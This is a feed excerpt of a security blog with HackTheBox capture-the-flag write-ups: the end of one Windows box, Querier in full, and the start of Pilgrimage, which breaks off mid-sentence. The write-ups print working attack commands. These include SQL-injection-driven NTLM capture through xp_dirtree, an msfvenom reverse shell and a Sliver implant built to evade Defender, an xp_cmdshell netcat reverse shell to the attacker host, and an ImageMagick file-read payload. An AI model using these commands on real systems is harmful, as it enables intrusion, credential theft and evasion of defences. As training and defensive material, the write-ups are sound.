<li><p><strong>80/tcp (HTTP)</strong> → Microsoft IIS 10.0</p>
</li>
<li><p><strong>443/tcp (HTTPS)</strong> → Microsoft IIS 10.0</p>
</li>
<li><p><strong>3389/tcp (RDP)</strong> → Microsoft Terminal Services</p>
</li>
<li><p><strong>5985/tcp (WinRM/HTTPAPI)</strong></p>
</li>
</ul>
<p>While RDP and WinRM were exposed, the most promising attack surface was clearly the web services running on ports 80 and 443.</p>
<p>I started with directory fuzzing against both HTTP and HTTPS using ffuf while manually inspecting the web applications in my browser.</p>
<pre><code class="language-bash">ffuf -u https://10.129.96.140/FUZZ -w /usr/share/wordlists/elite.txt
</code></pre>
<p>When visiting the root page on both ports, I was met with nothing more than a static image of a dog.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/12bf09b2-264e-4405-b7c0-912f03cd6e76.png" alt="" style="display:block;margin:0 auto" />

<p>There was no functionality, no input fields, and no obvious attack vectors. Even inspecting the page source revealed nothing useful.</p>
<p>At this point, I shifted focus to my ffuf results, which revealed two interesting endpoints:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/f74573a8-8854-4d0f-98b7-2b7699717e8b.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li><p><code>/remote</code></p>
</li>
<li><p><code>/mvc</code></p>
</li>
</ul>
<p>The <code>/remote</code> endpoint presented a <strong>Windows PowerShell Web Access login portal</strong>, which immediately stood out as a high-value target. However, without credentials, I could not proceed further at that stage.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/828ef3d2-3b65-4293-a083-fc29c1f76f72.png" alt="" style="display:block;margin:0 auto" />

<p>I then moved to the <code>/mvc</code> endpoint, which appeared to be a basic marketplace-style web application skeleton of a site in development.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/7b675c2c-3de5-4030-a17c-9b24c4064c77.png" alt="" style="display:block;margin:0 auto" />

<p>While browsing through it, I noticed that product links exposed a query string parameter:</p>
<pre><code class="language-text">Product.aspx?ProductSubCategoryId=11
</code></pre>
<p>Anytime I see a query parameter like this, it immediately becomes a priority target for testing injection vulnerabilities.</p>
<p>I first tested for file inclusion by attempting to load a local file such as <code>/windows/win.ini</code>, but this did not yield any results.</p>
<p>Next, I tested for SQL injection by inserting a single quote (<code>'</code>) into the parameter. This triggered a <strong>500 internal server error</strong>, leaking backend SQL information.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/f62b5125-be8f-49f6-a4d2-6a17bec5a630.png" alt="" style="display:block;margin:0 auto" />

<p>That right there is a classic sign of SQL injection. The application was not properly sanitizing input, and the backend database was exposing error messages. At that point, I knew this was a potential path forward towards compromise.</p>
<hr />
<h1>3. Exploitation</h1>
<p>With a confirmed SQL injection point, I moved to automate exploitation using sqlmap.</p>
<pre><code class="language-bash">sqlmap -u "http://10.129.96.140/mvc/Product.aspx?ProductSubCategoryId=11" --level 4 --risk 3 --batch
</code></pre>
<p>Sqlmap successfully identified a <strong>Microsoft SQL Server backend</strong> and allowed me to enumerate databases and dump tables. However, there were no useful credentials or sensitive data exposed.</p>
<p>At this point, I pivoted to a more traditional but extremely effective technique: capturing NTLM authentication via SQL Server.</p>
<p>I set up an SMB listener using Responder and leveraged the <code>xp_dirtree</code> function through sqlmap to force the server to authenticate to my machine:</p>
<pre><code class="language-bash">sqlmap -u "http://10.129.96.140/mvc/Product.aspx?ProductSubCategoryId=11" \
--level 4 --risk 3 \
--sql-query="EXEC master..xp_dirtree '\\\\10.10.15.205\\share'" \
--batch
</code></pre>
<p>This worked perfectly. The server attempted authentication, and I captured an <strong>NTLMv2 hash for the user Stacy</strong>.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/113e296d-240c-4da7-9300-a1b4221ecfcf.png" alt="" style="display:block;margin:0 auto" />

<p>I then cracked the hash offline using John the Ripper:</p>
<pre><code class="language-bash">john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
</code></pre>
<p>With valid credentials in hand, I returned to the <code>/remote</code> PowerShell Web Access portal and successfully authenticated, gaining a PowerShell session on the target as <strong>Stacy</strong>.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/537da0bd-f55a-4cb9-93c9-ab3385a3f6e0.png" alt="" style="display:block;margin:0 auto" />

<hr />
<h1>4. Privilege Escalation</h1>
<p>Now operating as a low-privileged user, I began my standard Windows privilege escalation process.</p>
<ul>
<li>Enumerated users:</li>
</ul>
<pre><code class="language-bash">net user
</code></pre>
<ul>
<li>Checked privileges:</li>
</ul>
<pre><code class="language-bash">whoami /all
</code></pre>
<p>No useful privileges were identified.</p>
<p>I then checked for:</p>
<ul>
<li><p>AutoLogon credentials → none</p>
</li>
<li><p>GPP cpasswords → none</p>
</li>
</ul>
<p>At that point, I pivoted to the user’s home directory and discovered an interesting file:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/26b2e37a-d868-4b24-b624-52d1c2820ce8.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-text">unifivideo
</code></pre>
<p>After transferring it to my machine and inspecting it, I found it contained only:</p>
<pre><code class="language-text">stop
</code></pre>
<p>This pointed me toward <strong>UniFi Video</strong>, a service likely installed on the system.</p>
<p>Research revealed a known privilege escalation vulnerability:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/35cb9329-519c-482f-a6c4-0596798a27b6.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li><p>The UniFi Video service runs as <strong>SYSTEM</strong></p>
</li>
<li><p>It attempts to execute <code>taskkill.exe</code> from its installation directory</p>
</li>
<li><p>The directory is <strong>writable by low-privileged users</strong></p>
</li>
<li><p>The binary does <strong>not exist by default</strong></p>
</li>
</ul>
<p>That combination allows arbitrary code execution as SYSTEM.</p>
<p>I confirmed the directory existed and was writable, then generated a reverse shell payload using msfvenom:</p>
<pre><code class="language-bash">msfvenom -p windows/shell/reverse_tcp LHOST=10.10.15.205 LPORT=7777 -f exe -o taskkill.exe
</code></pre>
<p>I transferred the payload to the target and identified the service name by enumerating the registry:</p>
<pre><code class="language-powershell">dir HKLM:\SYSTEM\CurrentControlSet\Services | findstr /i unifi
</code></pre>
<p>After identifying the service, I stopped and restarted it to trigger execution.</p>
<p>However, no shell was received.</p>
<p>This was a key turning point. The payload failed because <strong>Windows Defender detected and blocked the msfvenom binary</strong>.</p>
<p>Instead of forcing the same approach, I adapted and switched tools.</p>
<p>This is where I was introduced to <strong>Sliver</strong>, and more importantly, the concept of <strong>implants</strong>.</p>
<p>An implant is not just a basic payload—it is a more advanced, often obfuscated executable designed to behave like a legitimate program while maintaining a connection back to the attacker. These are far more effective in environments with antivirus protections because they avoid the well-known signatures that tools like msfvenom produce.</p>
<p>I generated a new implant using Sliver:</p>
<pre><code class="language-bash">sliver &gt; mtls
sliver &gt; generate --mtls 10.10.15.205 --os windows --arch amd64
</code></pre>
<p>I renamed the generated binary to <code>taskkill.exe</code> and transferred it to the target.</p>
<p>After restarting the UniFi service again, the implant executed successfully and bypassed Defender.</p>
<p>I received a callback and confirmed my privileges:</p>
<pre><code class="language-powershell">whoami
</code></pre>
<pre><code class="language-text">NT AUTHORITY\SYSTEM
</code></pre>
<p>Full control of the machine.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/055242d1-e0ac-4f51-bf69-1bdb72567cc1.png" alt="" style="display:block;margin:0 auto" />

<hr />
<h1>5. Lessons Learned</h1>
<p><strong>1. Web Enumeration Is Everything</strong><br />Identifying <code>/mvc</code> and recognizing the importance of query parameters was the key that unlocked the entire attack chain.</p>
<p><strong>2. SQL Injection Can Be Leveraged Indirectly</strong><br />Even without credentials in the database, SQL injection still provided a path to capture NTLM hashes.</p>
<p><strong>3. NTLM Capture Remains Extremely Effective</strong><br />Forcing authentication through SQL Server functions is a reliable method when direct data extraction fails.</p>
<p><strong>4. Antivirus Changes the Game Completely</strong><br />This was my first real exposure to payloads failing due to Defender. It forced me to stop relying on “default” tools and start thinking about detection and evasion.</p>
<p><strong>5. Understanding Implants vs Traditional Payloads- How to Use Sliver</strong><br />This box taught me that msfvenom payloads are often noisy and easily detected. In contrast, tools like Sliver generate implants that:</p>
<ul>
<li><p>Use modern communication methods (like mTLS)</p>
</li>
<li><p>Are obfuscated and less signature-based</p>
</li>
<li><p>Behave more like real applications</p>
</li>
</ul>
<p>This is a major shift in mindset from “just get a shell” to “get a shell that survives defenses.”</p>
<p><strong>6. Tool Adaptation Is Critical</strong><br />When msfvenom failed, switching to Sliver wasn’t optional—it was necessary. This reinforced the idea that no single tool is enough.</p>
<hr />
<h1>6. Defensive Insight</h1>
<p><strong>1. Proper Input Validation Prevents SQL Injection</strong><br />Parameterized queries would have completely eliminated the initial attack vector.</p>
<p><strong>2. Restrict Dangerous SQL Functions</strong><br />Functions like <code>xp_dirtree</code> should not be accessible, as they enable forced authentication attacks.</p>
<p><strong>3. Block Outbound SMB Traffic</strong><br />Preventing outbound authentication would stop NTLM hash capture attacks entirely.</p>
<p><strong>4. Secure Service Execution Paths</strong><br />Services running as SYSTEM must not rely on executables in writable directories.</p>
<p><strong>5. Improve Behavioral Detection</strong><br />Signature-based detection caught msfvenom, but stronger behavioral detection is needed to catch more advanced implants like those generated by Sliver.</p>
<hr />
<h1>Useful Commands</h1>
<h3>Nmap Scan</h3>
<pre><code class="language-bash">nmap -sC -sV -T4 10.129.96.140
</code></pre>
<h3>Directory Fuzzing</h3>
<pre><code class="language-bash">ffuf -u https://10.129.96.140/FUZZ -w /usr/share/wordlists/elite.txt
</code></pre>
<h3>SQL Injection with sqlmap</h3>
<pre><code class="language-bash">sqlmap -u "http://10.129.96.140/mvc/Product.aspx?ProductSubCategoryId=11" --level 4 --risk 3 --batch
</code></pre>
<h3>NTLM Capture via SQL Server</h3>
<pre><code class="language-bash">--sql-query="EXEC master..xp_dirtree '\\\\10.10.15.205\\share'"
</code></pre>
<h3>Crack NTLM Hash</h3>
<pre><code class="language-bash">john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
</code></pre>
<h3>Generate msfvenom Payload</h3>
<pre><code class="language-bash">msfvenom -p windows/shell/reverse_tcp LHOST=10.10.15.205 LPORT=7777 -f exe -o taskkill.exe
</code></pre>
<h3>Enumerate Services via Registry</h3>
<pre><code class="language-powershell">dir HKLM:\SYSTEM\CurrentControlSet\Services | findstr /i unifi
</code></pre>
<h3>Generate Sliver Implant</h3>
<pre><code class="language-bash">sliver &gt; mtls
sliver &gt; generate --mtls 10.10.15.205 --os windows --arch amd64
</code></pre>
<hr />
]]></content:encoded></item><item><title><![CDATA[OSCP Prep #18
HTB Write-Up Querier]]></title><description><![CDATA[1. Target Overview
Machine Name: QuerierPlatform: HackTheBoxOperating System: WindowsTarget IP: 10.129.9.231
Objective:Gain initial access to the target system and escalate privileges to obtain admini]]></description><link>https://www.hack2harden.com/oscp-prep-18-htb-write-up-querier</link><guid isPermaLink="true">https://www.hack2harden.com/oscp-prep-18-htb-write-up-querier</guid><dc:creator><![CDATA[Deonte Spencer]]></dc:creator><pubDate>Fri, 27 Mar 2026 03:22:02 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/8f390a8d-3c37-49b7-8feb-466859796167.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h1>1. Target Overview</h1>
<p><strong>Machine Name:</strong> Querier<br /><strong>Platform:</strong> HackTheBox<br /><strong>Operating System:</strong> Windows<br /><strong>Target IP:</strong> 10.129.9.231</p>
<p><strong>Objective:</strong><br />Gain initial access to the target system and escalate privileges to obtain administrative-level access.</p>
<p>This machine stood out to me because there was no Active Directory domain to lean on and no web application to exploit. Everything revolved around SMB and MSSQL,</p>
<h2>Tools Used</h2>
<ul>
<li><p>RustScan</p>
</li>
<li><p>SMBClient</p>
</li>
<li><p>NetExec (nxc)</p>
</li>
<li><p>Olevba</p>
</li>
<li><p>Impacket (mssqlclient)</p>
</li>
<li><p>Responder</p>
</li>
<li><p>John the Ripper</p>
</li>
<li><p>Netcat</p>
</li>
<li><p>Evil-WinRM</p>
</li>
<li><p>gpp-decrypt</p>
</li>
</ul>
<hr />
<h1>2. Enumeration</h1>
<p>I kicked things off with a port scan to map out the attack surface:</p>
<pre><code class="language-bash">rustscan -a 10.129.9.231 -b 7000
</code></pre>
<p>The results painted a clear picture:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/ceeaa34a-0097-433a-bd91-816e70215445.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li><p>SMB (139, 445)</p>
</li>
<li><p>RPC (135 + high ports)</p>
</li>
<li><p>WinRM (5985)</p>
</li>
<li><p>MSSQL (1433)</p>
</li>
</ul>
<p>That combination immediately suggested a Windows host with remote management exposed and a database service.</p>
<p>Another useful detail surfaced during enumeration—the FQDN:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/bc4362d4-368a-431c-9a07-19c9b31ea119.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-bash">querier.htb.local
</code></pre>
<p>I added it to my hosts file right away:</p>
<pre><code class="language-bash">echo "10.129.9.231 querier.htb.local" | sudo tee -a /etc/hosts
</code></pre>
<hr />
<h3>SMB Enumeration</h3>
<p>With SMB open, it made sense to start there. It’s fast to check and has a habit of exposing things it shouldn’t—whether that’s files, usernames, or outright credentials.</p>
<p>My first pass used NetExec:</p>
<pre><code class="language-bash">nxc smb 10.129.9.231 -u '' -p '' --shares
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/2b542d28-a21f-40ae-adf7-5f3975f7dd45.png" alt="" style="display:block;margin:0 auto" />

<p>The output suggested that anonymous authentication wasn’t allowed. That could have been the end of the road for SMB, but I’ve seen enough inconsistencies across tools to know better than to trust a single result.</p>
<p>To verify, I switched to <code>smbclient</code>:</p>
<pre><code class="language-bash">smbclient -N -L //10.129.9.231
</code></pre>
<p>This time, I got a valid share listing.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/b505ecdd-cbfa-4594-9c2b-efb9585d9d78.png" alt="" style="display:block;margin:0 auto" />

<p>That difference is exactly why it’s worth cross-checking tools—same idea, different implementation, completely different outcome.</p>
<p>Among the shares, one stood out:</p>
<pre><code class="language-text">Reports
</code></pre>
<p>I connected to it:</p>
<pre><code class="language-bash">smbclient -N //10.129.9.231/Reports
</code></pre>
<p>A quick directory listing showed:</p>
<pre><code class="language-text">Currency Volume Report.xlsm
</code></pre>
<p>A single file, I downloaded it for a closer look.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/0c79bd70-101d-4c5b-a0e3-cd0f67104f72.png" alt="" style="display:block;margin:0 auto" />

<hr />
<h3>File Analysis</h3>
<p>Macro-enabled Office files are always worth digging into. They’re often used to automate tasks internally, which means they sometimes carry hardcoded credentials or logic that wasn’t meant to be exposed.</p>
<p>After pulling the file locally, I ran:</p>
<pre><code class="language-bash">olevba Currency\ Volume\ Report.xlsm
</code></pre>
<p>The macro content revealed exactly that—embedded credentials:</p>
<pre><code class="language-text">User: reporting
Password: PcwTWrHwrwyjc$c6
</code></pre>
<p>At this point, the direction was clear. Those credentials had to belong somewhere, and given the services available, MSSQL was the most likely candidate.</p>
<hr />
<h1>3. Exploitation</h1>
<p>With a valid username and password in hand, the next step was to test them against exposed services. MSSQL stood out immediately, especially since service accounts are often tied directly to database access.</p>
<pre><code class="language-bash">impacket-mssqlclient reporting:PcwTWrHwrwyjc$c6@10.129.9.231 -windows-auth
</code></pre>
<p>The connection succeeded, giving me a foothold inside the database.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/a9d73347-12d4-4e5f-99ac-23ec7b47d9d4.png" alt="" style="display:block;margin:0 auto" />

<hr />
<h3>Initial SQL Enumeration</h3>
<p>The first priority was to understand the level of access I had:</p>
<pre><code class="language-sql">SELECT * FROM fn_my_permissions(NULL, 'SERVER');
</code></pre>
<p>The result showed that <code>reporting</code> was a low-privileged user. No direct path to execution there.</p>
<p>Next, I checked what databases were available:</p>
<pre><code class="language-sql">SELECT name FROM master.sys.databases;
</code></pre>
<p>One entry stood out:</p>
<pre><code class="language-text">volume
</code></pre>
<p>Switching to it:</p>
<pre><code class="language-sql">use volume;
</code></pre>
<p>Unfortunately, it was empty. No useful tables, no sensitive data, nothing to extract.</p>
<p>At that point, it was clear that progress wouldn’t come from data mining. The focus had to shift toward abusing MSSQL itself.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/feb11263-b0c2-4623-9fee-a1197d97c8a8.png" alt="" style="display:block;margin:0 auto" />

<hr />
<h3>Hash Capture via xp_dirtree</h3>
<p>MSSQL includes several stored procedures that interact with the filesystem, and some of them can be repurposed in interesting ways. One of those is <code>xp_dirtree</code>.</p>
<p>Instead of pointing it at a local directory, I directed it toward a share I controlled:</p>
<pre><code class="language-sql">xp_dirtree \\10.10.15.205\neo
</code></pre>
<p>That forced the server to attempt an SMB connection back to me.</p>
<p>Behind the scenes, the MSSQL service tried to authenticate to my machine using its own service account. With Responder running, I captured the resulting NTLMv2 hash:</p>
<pre><code class="language-text">mssql-svc::QUERIER:...
</code></pre>
<hr />
<h3>Cracking the Hash</h3>
<p>Once captured, the hash was saved and cracked:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/825f6da8-4bc1-466a-af4e-36f92e5cf8f3.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-bash">john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
</code></pre>
<p>The result:</p>
<pre><code class="language-text">mssql-svc : corporate568
</code></pre>
<p>This was the real pivot point. Service accounts tend to have broader permissions, and this one was no exception.</p>
<hr />
<h1>4. Privilege Escalation</h1>
<h3>MSSQL Privilege Abuse → RCE</h3>
<p>I reconnected using the new credentials:</p>
<pre><code class="language-bash">impacket-mssqlclient mssql-svc:corporate568@10.129.9.231 -windows-auth
</code></pre>
<p>Checking permissions again:</p>
<pre><code class="language-sql">SELECT * FROM fn_my_permissions(NULL, 'SERVER');
</code></pre>
<p>This time, the output told a very different story:</p>
<ul>
<li><p><code>CONTROL SERVER</code></p>
</li>
<li><p><code>IMPERSONATE</code></p>
</li>
</ul>
<p>Those privileges effectively grant full control over the MSSQL instance. At that point, the goal shifts from access to execution.</p>
<hr />
<h3>Enabling xp_cmdshell</h3>
<p>With sufficient privileges, I enabled <code>xp_cmdshell</code>:</p>
<pre><code class="language-sql">EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
</code></pre>
<p>This is where MSSQL stops being just a database and starts acting as a bridge into the operating system.</p>
<hr />
<h3>Reverse Shell</h3>
<p>To turn command execution into a usable foothold, I hosted a Netcat binary over SMB and executed it remotely:</p>
<pre><code class="language-sql">xp_cmdshell \\10.10.15.205\zion\nc.exe -e powershell.exe 10.10.15.205 9001
</code></pre>
<p>On my end:</p>
<pre><code class="language-bash">nc -lvnp 9001
</code></pre>
<p>The connection came through as:</p>
<pre><code class="language-text">querier\mssql-svc
</code></pre>
<p>Now I had a shell on the box.</p>
<hr />
<h3>Local Enumeration</h3>
<p>With system access established, I moved into local enumeration.</p>
<p>Checking privileges:</p>
<pre><code class="language-powershell">whoami /all
</code></pre>
<p>Nothing useful.</p>
<p>Looking at users:</p>
<ul>
<li><p><code>mssql-svc</code></p>
</li>
<li><p><code>Administrator</code></p>
</li>
</ul>
<p>That ruled out lateral movement and pointed toward local privilege escalation.</p>
<p>Autologon credentials were next on the list, but nothing turned up. At that stage, I started checking common misconfigurations that tend to get overlooked.</p>
<hr />
<h3>GPP Password Discovery</h3>
<p>One of the more reliable places to look in environments like this is cached Group Policy Preferences.</p>
<p>I navigated to:</p>
<pre><code class="language-text">C:\ProgramData\Microsoft\Group Policy\History\
</code></pre>
<p>Then searched for XML files:</p>
<pre><code class="language-powershell">dir "C:\ProgramData\Microsoft\Group Policy\History\" -Recurse -Include *.xml
</code></pre>
<p>This led me to:</p>
<pre><code class="language-text">Groups.xml
</code></pre>
<p>Inside was a <code>cpassword</code> value—exactly what I was hoping to find.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/5ff178b3-c6a0-444d-8658-8806773c70ff.png" alt="" style="display:block;margin:0 auto" />

<hr />
<h3>Decrypting cpassword</h3>
<p>I pulled the value and decrypted it:</p>
<pre><code class="language-bash">gpp-decrypt &lt;cpassword&gt;
</code></pre>
<p>Which returned:</p>
<pre><code class="language-text">Administrator : MyUnclesAreMarioAndLuigi!!1!
</code></pre>
<p>That was the final piece.</p>
<hr />
<h3>Final Access</h3>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/c2d1adcf-f9f7-4f40-b702-48e996f5ebd2.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-bash">evil-winrm -i 10.129.9.231 -u Administrator
</code></pre>
<pre><code class="language-powershell">whoami
querier\administrator
</code></pre>
<hr />
<h1>5. Lessons Learned</h1>
<p><strong>1. Enumeration Needs Verification, Not Assumptions</strong><br />A single tool suggested SMB was locked down. A second tool proved otherwise. That difference led directly to initial access.</p>
<p><strong>2. SMB Still Delivers Value in Subtle Ways</strong><br />Even limited access can expose files that shift the entire attack path.</p>
<p><strong>3. MSSQL Is a Full Attack Surface</strong><br />Treating it as just a database would have stalled progress. Understanding its interaction with the system made the difference.</p>
<p><strong>4. xp_dirtree Is a Reliable Pivot Technique</strong><br />It turns database access into credential harvesting with very little effort.</p>
<p><strong>5. Privilege Context Defines Capability</strong><br />The jump from low-priv user to <code>CONTROL SERVER</code> is what unlocked RCE.</p>
<p><strong>6. GPP Credentials Are Still an Easy Win</strong><br />They remain one of the most consistent privilege escalation vectors on Windows systems.</p>
<p><strong>7. Small Details Compound Into Full Compromise</strong><br />No single step here was overly complex, but each one built cleanly into the next.</p>
<hr />
<h1>6. Defensive Insight</h1>
<p><strong>1. SMB Access Should Be Consistently Enforced</strong><br />Inconsistent handling of anonymous access can expose sensitive resources.</p>
<p><strong>2. Credentials Should Never Be Embedded in Files</strong><br />Storing passwords in macros creates immediate exposure if the file is accessible.</p>
<p><strong>3. MSSQL Features Like xp_cmdshell Should Be Restricted</strong><br />These capabilities should not be available without strict controls.</p>
<p><strong>4. Outbound Authentication Should Be Monitored</strong><br />Unexpected SMB connections to external hosts are a strong indicator of abuse.</p>
<p><strong>5. GPP Password Storage Should Be Eliminated</strong><br /><code>cpassword</code> is reversible and should not exist in any modern environment.</p>
<p><strong>6. Service Accounts Should Follow Least Privilege</strong><br />Granting <code>CONTROL SERVER</code> unnecessarily creates a direct path to compromise.</p>
<hr />
<h2>7. Useful Commands</h2>
<h3>Scanning</h3>
<pre><code class="language-bash">rustscan -a 10.129.9.231 -b 7000
</code></pre>
<h3>SMB Enumeration</h3>
<pre><code class="language-bash">smbclient -N -L //10.129.9.231
smbclient -N //10.129.9.231/Reports
</code></pre>
<h3>File Analysis</h3>
<pre><code class="language-bash">olevba Currency\ Volume\ Report.xlsm
</code></pre>
<h3>MSSQL Access</h3>
<pre><code class="language-bash">impacket-mssqlclient reporting:PcwTWrHwrwyjc$c6@10.129.9.231 -windows-auth
impacket-mssqlclient mssql-svc:corporate568@10.129.9.231 -windows-auth
</code></pre>
<h3>SQL Enumeration</h3>
<pre><code class="language-sql">SELECT * FROM fn_my_permissions(NULL, 'SERVER');
SELECT name FROM master.sys.databases;
</code></pre>
<h3>Hash Capture</h3>
<pre><code class="language-sql">xp_dirtree \\10.10.15.205\neo
</code></pre>
<h3>Cracking</h3>
<pre><code class="language-bash">john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
</code></pre>
<h3>Reverse Shell</h3>
<pre><code class="language-sql">xp_cmdshell \\10.10.15.205\zion\nc.exe -e powershell.exe 10.10.15.205 9001
</code></pre>
<h3>GPP Decryption</h3>
<pre><code class="language-bash">gpp-decrypt &lt;cpassword&gt;
</code></pre>
<h3>Final Access</h3>
<pre><code class="language-bash">evil-winrm -i 10.129.9.231 -u Administrator
</code></pre>
<hr />
]]></content:encoded></item><item><title><![CDATA[OSCP Prep #17 
HTB Write-Up Pilgrimage]]></title><description><![CDATA[1. Target Overview

Machine Name: Pilgrimage

Platform: Hack The Box

Operating System: Linux

Target IP: 10.129.9.115

Objective: Gain initial access to the target system and escalate privileges to o]]></description><link>https://www.hack2harden.com/oscp-prep-17-htb-write-up-pilgrimage</link><guid isPermaLink="true">https://www.hack2harden.com/oscp-prep-17-htb-write-up-pilgrimage</guid><dc:creator><![CDATA[Deonte Spencer]]></dc:creator><pubDate>Thu, 26 Mar 2026 00:52:44 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/2991ad56-8027-4cf0-ba61-97a576e3e8a7.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h1>1. Target Overview</h1>
<ul>
<li><p><strong>Machine Name:</strong> Pilgrimage</p>
</li>
<li><p><strong>Platform:</strong> Hack The Box</p>
</li>
<li><p><strong>Operating System:</strong> Linux</p>
</li>
<li><p><strong>Target IP:</strong> 10.129.9.115</p>
</li>
<li><p><strong>Objective:</strong> Gain initial access to the target system and escalate privileges to obtain full system compromise.</p>
</li>
</ul>
<p>Pilgrimage was one of the more instructive machines I’ve worked through so far. It combined a clean initial foothold with a privilege escalation path that really forced me to understand what the system was doing behind the scenes.</p>
<h3>Tools Used</h3>
<ul>
<li><p>Nmap</p>
</li>
<li><p>RustScan</p>
</li>
<li><p>ffuf</p>
</li>
<li><p>git-dumper</p>
</li>
<li><p>pngcrush</p>
</li>
<li><p>sqlite3</p>
</li>
<li><p>searchsploit</p>
</li>
<li><p>binwalk</p>
</li>
<li><p>netcat</p>
</li>
</ul>
<hr />
<h1>2. Enumeration</h1>
<h3>Initial Reconnaissance</h3>
<p>As always, I started with a port scan using RustScan to quickly identify open ports and pass them into Nmap for deeper analysis.</p>
<pre><code class="language-bash">rustscan -a 10.129.9.115 -b 7000 -- -sC -sV -T4
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/815bc738-1483-4cfd-893a-4de2672550af.png" alt="" style="display:block;margin:0 auto" />

<p>The results showed a very narrow attack surface:</p>
<ul>
<li><p>Port 22 (SSH)</p>
</li>
<li><p>Port 80 (HTTP)</p>
</li>
</ul>
<p>Since SSH is rarely useful without credentials, I focused on the web server.</p>
<p>During the scan, I noticed a redirect to <code>pilgrimage.htb</code>, so I added it to my <code>/etc/hosts</code> file.</p>
<hr />
<h3>Web Enumeration</h3>
<p>I began with virtual host fuzzing to see if there were additional domains:</p>
<pre><code class="language-bash">ffuf -u http://10.129.9.115 -H "Host: FUZZ.pilgrimage.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt
</code></pre>
<p>No additional domains were discovered, so I moved on to directory fuzzing:</p>
<pre><code class="language-bash">ffuf -u http://pilgrimage.htb/FUZZ -w /usr/share/wordlists/elite.txt -fc 403
</code></pre>
<p>This revealed a key finding:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/6fb40ea3-d04d-43c1-83f1-91e2c70d75b0.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-plaintext">.git/
</code></pre>
<p>An exposed <code>.git</code> directory is always a strong signal that source code may be recoverable, which can completely change how you approach the box.</p>
<hr />
<h3>Application Analysis</h3>
<p>Browsing the site, I found an image compression application. Since user-uploaded files were being processed on the server, this immediately stood out as a potential attack surface.</p>
<p>My first instinct was command injection. The logic is straightforward: if user input is passed into a system binary without proper sanitization, it can lead to remote command execution.</p>
<p>However, I ran into a few constraints:</p>
<ul>
<li><p>I could not control the filename being passed to the backend</p>
</li>
<li><p>File uploads were filtered (PHP files were blocked)</p>
</li>
<li><p>Changing extensions or embedding PHP code did not bypass the filter</p>
</li>
</ul>
<p>At this point, it was clear that direct RCE through file upload was not the intended path, so I shifted focus.</p>
<hr />
<h1>3. Exploitation</h1>
<h3>Source Code Disclosure via <code>.git</code></h3>
<p>The exposed <code>.git</code> directory allowed me to reconstruct the full repository:</p>
<pre><code class="language-bash">git-dumper http://pilgrimage.htb/.git src
</code></pre>
<p>This removed guesswork entirely. Instead of probing blindly, I could now see exactly how the application worked.</p>
<p>While reviewing the source, I found that uploaded images were processed using a binary called <code>magick</code>, part of ImageMagick.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/929097c7-f18c-44b0-8448-8eafaadc69bd.png" alt="" style="display:block;margin:0 auto" />

<hr />
<h3>LFI via ImageMagick (What’s Actually Happening)</h3>
<p>ImageMagick processes images by parsing both the image data and any embedded metadata. One feature it supports is embedded profiles inside image files.</p>
<p>The vulnerability here comes from how those profiles are interpreted.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/1e1fd752-cf31-4ded-92ba-ed8b5806025c.png" alt="" style="display:block;margin:0 auto" />

<p>Using <code>pngcrush</code>, I created a malicious PNG:</p>
<pre><code class="language-bash">pngcrush -text a "profile" "/etc/passwd" input.png output.png
</code></pre>
<p>Here’s what’s happening behind the scenes:</p>
<ul>
<li><p>The PNG includes a text chunk labeled <code>profile</code></p>
</li>
<li><p>Instead of treating this as harmless metadata, ImageMagick treats it as a file reference</p>
</li>
<li><p>It attempts to open and read the file from disk</p>
</li>
<li><p>The contents of that file are embedded into the processed output image</p>
</li>
</ul>
<p>So when the application processes the image:</p>
